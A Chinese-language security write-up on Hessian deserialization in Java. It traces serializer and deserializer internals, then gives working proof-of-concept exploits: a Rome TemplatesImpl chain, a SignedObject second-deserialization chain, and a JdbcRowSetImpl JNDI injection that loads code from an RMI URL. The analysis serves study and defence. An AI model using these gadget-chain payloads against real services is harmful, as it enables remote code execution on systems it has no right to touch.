Hessian反序列化流程及漏洞浅析
具体分析了Hessian协议在序列化和反序列化的相关流程代码、并通过Rome链和JdbcRowSetImpl两个链进行了漏洞分析
前言
Hessian是一个基于RPC的高性能二进制远程传输协议。
在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。
项目依赖:
<!-- hessian -->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>反序列化流程分析
序列化
HessianOutput,Hessian2Output都是抽象类AbstractHessianOutput的实现
二者的writeObject方法一致:
根据传入的object的类型,获取对应需要的序列化器
然后调用序列化器的writeObject方法序列化数据。
public void writeObject(Object object) throws IOException {
if (object == null) {
this.writeNull();
} else {
Serializer serializer = this._serializerFactory.getSerializer(object.getClass());
serializer.writeObject(object, this);
}
}调用com.caucho.hessian.io.SerializerFactory#getSerializer方法获取对应序列化器。
先判断_cachedSerializerMap中是否有缓存,如果有直接取出。
没有缓存就调用com.caucho.hessian.io.SerializerFactory#loadSerializer方法进行加载序列化器;
最后将得到的序列化器存储到缓存的map中。
在com.caucho.hessian.io.SerializerFactory#loadSerializer方法中。
判断当前传入的Object是否属于某些已定义好的接口。
如果存在,就生成对应的序列化器。
如果不存在,就调用com.caucho.hessian.io.SerializerFactory#getDefaultSerializer方法针对自定义类加载默认的序列化器。
共实现了26个序列化器
在com.caucho.hessian.io.SerializerFactory#getDefaultSerializer方法中,可以看到在默认情况下如果_isEnableUnsafeSerializer属性为true,并且传入的class: ·cl没有writeReplace方法,
那么最后会创造一个UnsafeSerializer来作为序列化器。
UnsafeSerializer#writeObject方法兼容了 Hessian/Hessian2 两种协议的数据结构,会调用writeObjectBegin 方法开始写入数据头,并且根据返回的ref来确定后续序列化数据的情况。
HessianOutput,会直接调用父类的com.caucho.hessian.io.AbstractHessianOutput#writeObjectBegin方法,可以看到直接写入77作为Map的标志,固定返回-2赋值给writeObject方法
之后就调用com.caucho.hessian.io.UnsafeSerializer#writeObject10方法,来逐个对字段进行序列化。并已writeMapEnd作为收尾。
Hessian2Output重写了writeObjectBegin方法,可以写自定义类型的数据,返回ref为-1。调用 writeDefinition20 和 Hessian2Output#writeObjectBegin 方法写入自定义数据,不将其标记为 Map 类型。
小结:
总的来说:
二者在序列化自定义类的过程中均使用UnsafeSerializer序列化器,Hessian1和Hessian2协议在处理首字段的时候,有了细微的差异。
HessianOutput在序列化的过程中默认将序列化结果处理成一个MapHessian2Output在序列化的过程中可以序列化自定义的类
反序列化
HessianInput,Hessian2Input都是抽象类AbstractHessianInput的实现类
Hessian1
com.caucho.hessian.io.HessianInput#readObject()方法中读取序列化结果的第一个字符为77,即代表map。
跟进com.caucho.hessian.io.SerializerFactory#readMap方法
先调用com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.String)方法,
首先如果传入的type为空,则直接返回null
接着再判断缓存中是否有对应的序列化器,
如果没有就尝试自己去加载获取序列化器。
这里由于是最外层封装的map,获取的type为'',默认返回回到com.caucho.hessian.io.SerializerFactory#readMap方法,直接初始化一个MapDeserializer实例类,从而调用com.caucho.hessian.io.MapDeserializer#readMap方法来反序列化内部的数据。
如果是内部其他类型的类,首先调用com.caucho.hessian.io.SerializerFactory#loadSerializedClass方法,根据类名加载对应的类。
接着调用com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.Class)方法,来获取对应的序列化器。
接着com.caucho.hessian.io.SerializerFactory#loadDeserializer方法,
在该方法中加载默认的自定义类。可以看到与序列化过程中获取加载器的流程相近,不再赘述。com.caucho.hessian.io.SerializerFactory#getDefaultDeserializer
Hessian2
这里以我们自定义类Person反序列化为例,首先在com.caucho.hessian.io.Hessian2Input#readObject()方法中,获取对应的tag为67,因此调用com.caucho.hessian.io.Hessian2Input#readObjectDefinition方法
会进一步调用com.caucho.hessian.io.SerializerFactory#getObjectDeserializer(java.lang.String, java.lang.Class)方法来获取对应的序列化器。
一步一步步入,发现会执行到com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.String)方法,这里与序列化过程中获取序列化器过程一样,最终会获取到一个UnsafeDeserializer序列化器。
回到readObjectDefinition方法, 获取自定义类的相关属性,并将其封装为def属性。
最后会调用com.caucho.hessian.io.UnsafeDeserializer#readObject方法,将封装好的字段通过unSafe进行反射赋值。
instantiate 使用 unsafe 实例的 allocateInstance 直接创建类实例。
MapDeserializer
Hessian 1.0 默认最外层会使用MapDeserializer来继续反序列化数据。Hessian 2.0 需要指定传入的类的类型为Map, 才会使用MapDeserializer来反序列化数据
在com.caucho.hessian.io.MapDeserializer#readMap的方法中:
创建得到一个map类型,之后通过一个循环判断 in.isEnd() 方法检查输入流是否结束。
在循环中,通过 in.readObject() 方法读取键值对,并通过map.put进行赋值。这里调用的还是HessianInput的readObject方法。
最后调用in.readEnd结束map的反序列化赋值。

显然map.put
- 对于
HashMap会触发key.hashCode()、key.equals(k), - 对于
TreeMap会触发key.compareTo()
漏洞分析
Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法会产生各种相关利用链打法。
典型就是Rome的相关链子,通过HashMap 中key会触发hash方法,会进一步触发key.hashcode。
触发EqualsBean的hashcode方法
接着触发toStringBean的toString方法,
会反射调用该类所有的无参get方法。从而实现漏洞利用
TemplatesImpl 失败原因&&二次反序列化
单独打TemplatesImpl 失败原因分析
根据Rome的调用链,有如下POC
public class HessianTemplatesImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = generateTemplateImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap map = makeMap(equalsBean,"reus09");
byte[] s = HessianTest.serialize(map);
System.out.println(s);
System.out.println((HashMap) HessianTest.deserialize(s));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}代码执行后,无命令回显。
Debug分析,来到com.sun.syndication.feed.impl.ToStringBean#toString(java.lang.String)方法,发现存在报错空指针。
跟踪报错栈帧,往上看,报错位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法中,发现此时的_tfactory没有被反序列化赋值,为null,从而报错空指针。

这是因为在通过UnsafeDeserializer序列化器调用getFieldMap方法的时候,会对类的属性判断是否为Transient类型,是否为static类型。
如果是transient或者static类型的变量,则无法进行反序列化。
这里赋值的_tfactory恰好为transient类型所修饰,因此无法被反序列化。
二次反序列化打TemplatesImpl
这里SignedObject类利用内部的content变量可以存储原生序列化的字节流,从而可以保存TemplatesImpl恶意类的相关属性。
SignedObject类常被用来作为二次反序列化。
它的构造函数中将传入的object类通过原生序列化转化为字节流存储到content变量中。
并且它的getObject方法中又会对content属性进行原生的反序列化。
并且SignedObject的getObject方法也满足ToStringBean#toString方法,也满足Rome链的使用情况,因此可以用来打二次反序列化。
给定如下POC:
public class HessianTwoDeserial {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = generateTemplateImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);
// 初始化SignedObject类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap hashMap = makeMap(equalsBean, "reus09");
byte[] s = HessianTest.serialize(hashMap);
System.out.println(s);
System.out.println((HashMap) HessianTest.deserialize(s));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}
JdbcRowSetImpl链
回顾一下JdbcRowSetImpl链,
在getParameterMetaData方法中,会调用connect方法
在connect方法中,会对传入的dataSourceName值进行lookup查询,触发JNDI注入
显然,由于存在getDataBaseMetaData的无参get方法,显然可以用于触发ToStringBean的toString方法,因此有如下payload:
public class HessianJNDI implements Serializable {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Vector<String> v = new Vector<>(1);
String url = "rmi://127.0.0.1:1099/EXP";
jdbcRowSet.setDataSourceName(url);
jdbcRowSet.setMatchColumn("reus09");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
HashMap hashMap = makeMap(equalsBean, "reus09");
byte[] s = HessianTest.serialize(hashMap);
System.out.println(s);
System.out.println((HashMap) HessianTest.deserialize(s));
}
public static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}小debug:
值得注意的是我在payload中添加了jdbcRowSet.setMatchColumn("reus09");语句。
由于我本地测试环境为arm架构的mac,因此使用的jdk版本较高,需要手动设置trustURLCodebase的相关属性。
并且JdbcRowSetImpl类的相关属性获取也存在问题。
我们需要的getDatabaseMetaData是第五个获取,
但是在获取第四个字段matchColumnNames的时候,反射执行getMatchColumnNames方法会产生空指针报错,导致反射获取我们需要的方法无法执行。

分析getMatchColumnNames方法,我们需要对strMatchColumns属性进行赋值,否则就会报错。
找到setMatchColumn方法,传入任意的字符,即可对strMatchColumns属性进行赋值。
因此,在高版本的JDK中,针对JdbcRowSetImpl与Rome链结合使用,在学习的过程中,可能需要稍微对字段继续优化、debug一下。
小结
本文分析了Hessian以及Hessian2两种序列化和反序列化的流程。
总的来说,Hessian会针对传入的map类型的变量进行反序列化的时候,会执行map.put方法,从而可以作为source触发点,触发其他相关的反序列链子。
并以二次反序列化和JdbcRowSetImpl两个链作为例子进行了演示。